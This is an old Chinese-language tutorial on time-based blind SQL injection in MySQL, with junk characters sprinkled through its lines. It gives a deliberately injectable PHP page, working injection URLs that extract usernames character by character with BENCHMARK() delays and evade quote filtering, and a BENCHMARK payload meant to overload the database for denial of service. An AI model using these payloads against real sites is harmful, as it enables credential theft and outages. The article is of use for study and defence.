MYSQL中BENCHMARK函数的利用 * k& l. E7 }3 G' Z: j: H
本文作者:SuperHei' K5 X8 U3 q( a1 g0 [$ Y9 O$ i
文章性质:原创
) I1 \ J0 Y# u5 T发布日期:2005-01-02$ ]9 c) ]+ N2 f, L; ?
完成日期:2004-07-09 + K# K! [/ t2 w6 x8 Q
第一部 V, x" s9 L; S, p" x5 @' G
% x! p3 {, W5 d' W利用时间推延进行注射---BENCHMARK函数在注射中的利用 + `. J* Q) x1 k6 E r$ K' C5 g
2 I) N" L- a' c; j7 G' ]一.前言/思路( V3 P# A1 e! q
" F& y' F8 M$ S' W) v! ^
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
) y/ F% Z7 z0 K) o, i; X
7 Y5 C- H k0 P( D2 A 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。2 ?. [! V6 C* t# }5 z% E
7 I. x- R9 x: d( j4 W6 \) J二.关于BENCHMARK函数# j) f/ F; c6 C% d: v$ ^2 Q
% Q" ]+ L& S7 y3 }" ]
在MySQL参考手册里可以看到如下描叙:
$ s) a6 H/ T. ~5 ~2 p6 ^" h8 V( }, D4 k: [, n$ K+ [' I, a
5 k3 M' S0 a" N# @$ o- f, k
--------------------------------------------------------------------------------
' I l5 A& |5 ?5 C
. E+ L: Z' S; v9 g3 a' SBENCHMARK(count,expr)
5 N% r! B5 U& B7 `' d, EBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
, T; p8 i2 D% v; t+ U ?0 ]mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ; _* ?( Q/ @! `6 a/ F8 L
+----------------------------------------------+
2 t& O9 W2 R- [& b w. L+ u| BENCHMARK(1000000,encode("hello","goodbye")) |
5 }( d7 m+ o5 R. \. k+----------------------------------------------+ ; S7 B' O3 r9 F- D
| 0 |
, W8 y) y! n4 L v+----------------------------------------------+
3 N" k3 o: M/ A- A6 o# `1 J9 N0 T6 E% q1 row in set (4.74 sec) . _* Z) U# o1 I
2 T( z$ S7 n+ A' }* g# h1 U报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。" U) R9 i4 I3 K4 e3 F
( J& w1 {) U6 r9 F5 l! w
9 d1 ]$ c. ?) Q( R3 z! Y0 ^--------------------------------------------------------------------------------( m" ~: F8 J9 n+ j ~) t
# L/ N6 p6 }$ s$ e% d, X& N* r
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: / A* H) G5 I3 d; P# g& q# K
& C a% ^1 [& i Z2 Y- Mmysql> select md5( 'test' );
: F8 L: [& g$ I+----------------------------------+
! S! N. u# M3 B| md5( 'test' ) |
) G6 y6 m/ a8 s- g+----------------------------------+
) p4 u. f% T" A7 J| 098f6bcd4621d373cade4e832627b4f6 |
5 \0 H% U3 n4 Y9 u# O9 z$ v8 O3 n0 N' k4 A1 n+----------------------------------+ 6 x% u' b7 ]- \/ s& |* P
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec & K3 W" ~4 k3 E G) N" E
( }0 H3 j9 o4 y8 k0 A% kmysql> select benchmark( 500000, md5( 'test' ) );
& o. I$ o( Q! B- o+------------------------------------+ - G; U5 t- v- X6 i j' V! T
| benchmark( 500000, md5( 'test' ) ) | % v! L, }6 T( P4 o
+------------------------------------+ ! a4 w% t: s/ X1 u0 }' v
| 0 | ( v" T+ v+ d; M8 S4 t7 c" V, R0 B
+------------------------------------+ ; ~, [. {! l. a: Z
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec2 b! n/ w2 y0 V: m+ @
7 k6 X& X$ c& K1 C9 }3 }$ ^
; G" b. q% h" e$ f( O! S& E4 @
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 0 e* B1 X5 W `, z8 z& q
% b+ {) G. h8 `! W. D5 G9 q
三.具体例子7 q: @) |4 n! J0 f" O
% A! F. g; p# s; t1 n
首先我们看个简单的php代码: e& I1 I! \/ d
# s" y) N7 w9 b7 m
< ?php
$ S+ D9 V q3 R; Z3 h$servername = "localhost";
# Z5 C8 y n. k& t5 @$ `: ^' `! \$dbusername = "root";
3 M6 j/ Y2 \: s) ]$dbpassword = "";
9 G5 J8 n; U# Q2 E7 m: s8 n$dbname = "injection"; _! a8 x; |% m* e
0 f. B& q% F. B6 V9 umysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 9 D$ w# g( H) L2 P5 g- g; r$ s
* X _+ S. D, N K6 p$ H
$sql = "SELECT * FROM article WHERE articleid=$id"; 9 T" }5 {# M% v4 Q m6 H
$result = mysql_db_query($dbname,$sql);
; n" ?" q- @9 I2 v; o$ T& w$row = mysql_fetch_array($result);
- q, m6 N2 o8 D! h, o$ y% X, ~ d1 U9 p, Z5 P( m
if (!$row) " {" Y' ~' \) B+ M0 K; S* y# p
{ # |& a0 X( x# ?. @9 x4 p+ }7 W7 L
exit; 2 r' r+ k) x" l) F
} 0 R( o( b( T( B1 ]8 t% ?! m8 z! `' [
?>
6 a: e/ z& @) T8 ?; X 8 E$ J+ s8 i4 A. L: [
& ?: a7 X6 r: W
数据库injection结构和内容如下:
! A+ i% G$ E' l& k' a/ ~ A
3 C1 {7 T. b+ I# n# 数据库 : `injection`
- X5 h; P8 }) @5 f# - w: t$ h! ^6 `2 e
6 w, b7 @5 R/ `7 e; q* v# -------------------------------------------------------- 2 M7 m' d( t0 ]+ a- ^. ]! [" Y
) O9 Z% _9 K0 {- i9 K2 } `6 Q" N% A
#
! i9 m; O, Q& g& J6 Q# 表的结构 `article` ) b+ O3 }) q+ y1 n' `, m* p. a: ]8 w
#
: [( B9 V5 z: x* ?7 s: K% }: O# ^
6 u, f7 ~8 m' q% |CREATE TABLE `article` (
' |( K2 q/ m h) J`articleid` int(11) NOT NULL auto_increment, ; z% E1 z& ?/ k1 d9 m- q! C
`title` varchar(100) NOT NULL default '', . D4 T5 J- G" p! r+ U2 Y
`content` text NOT NULL,
# w, x3 n0 z wPRIMARY KEY (`articleid`)
o2 W- T$ _' Z' L( |) TYPE=MyISAM AUTO_INCREMENT=3 ;
! B: g" N/ i L3 O) N) B) z$ X b+ I# L
#
S/ ^* j+ a# U7 _# 导出表中的数据 `article` . r, {; T7 l q
# ) }' H4 u: {. \: Q) F0 o
) }# s* B: _; |3 aINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ) X9 h' r) g2 D* u
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
5 ?8 }; v9 I' }7 G) ~6 d0 S3 m# X9 C
# -------------------------------------------------------- $ [# K' X! V4 l
/ T4 t5 E' K9 G: T: L. _% z A
# # Q9 F9 K/ y1 [' \& ^# d. g1 ]! j
# 表的结构 `user`
( K7 {/ g8 A9 w# 4 k# u3 m- v. }1 O- w
' O, d. g) }, @) S# x0 Y! H
CREATE TABLE `user` ( / w+ Y7 N( A( `5 i
`userid` int(11) NOT NULL auto_increment,
6 L A, d6 {% [. d4 N5 }" y`username` varchar(20) NOT NULL default '',
. z: G, V: x1 R' I9 B9 q2 Y1 S`password` varchar(20) NOT NULL default '',
$ @3 [ _$ u ~0 @2 aPRIMARY KEY (`userid`) 2 q" u2 G; r& K$ l, f# X" l- z p
) TYPE=MyISAM AUTO_INCREMENT=3 ; s0 f, s) M+ Y$ S( s1 B7 g
1 v/ L: d- L6 P7 ?5 w* z
# ( I0 R0 b2 V5 l3 q4 y
# 导出表中的数据 `user` s! c1 P6 \/ a! s. ]' S" t
# : B* A. P% R* w6 u$ B
" x2 a0 N( ~% ]% {6 J) {
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); ( I, d: [8 @$ \( ], j
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
# S+ m8 U4 n3 n# \% p$ r# B
9 t1 h( }# H; |' _0 V& \/ a
( @. K1 P3 c, g* e, ]6 a 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
, Y4 J4 }" C$ O* }9 u0 N$ Q+ s6 d; t2 B2 r1 ^" ?3 O0 R- P* A$ u
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
( g1 m. y8 _/ V# ? ( |8 J' ~! p( l
' h9 i- ]9 z" N
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:" A; i$ d2 e+ L; \
; T1 L/ E& y/ B8 }( U3 y0 J7 J
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
+ K0 q. u5 t5 R% x- m& u " h: f2 \) f: _
% M+ M( c( b5 J& Q7 [! j
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 . L( W" [4 @# y
0 ~7 W( l: C/ R* ^
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 9 h: O0 N# `5 G F4 k9 p1 z6 y! C
& \# I! f i O# ^0 n
第二部
2 J: q! X: j- ]+ s
1 \- z! X! V o. n8 V' V' |利用BENCHMARK函数进行ddos攻击
- x3 [& y+ \; ?. S
7 v# T0 Q" g3 Q8 S( m M d 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
' w- a0 J Y; i! p4 `2 i# o
3 `5 V! W6 k$ k/ F4 ?http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))4 \' h7 g) `1 a1 }- Z/ N2 n# G
r: U) m; h2 d* Q$ {% W( o" \# v" t: U
小结
& b* C1 {& d7 C9 u9 l; R
( {/ I( V/ K( ?6 P0 X+ S" o 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。; \# k7 w6 T8 ^( l7 _/ [$ t
* d/ ^; e8 R/ m, \
% X5 s f/ ~, ?" S: b# M f: O |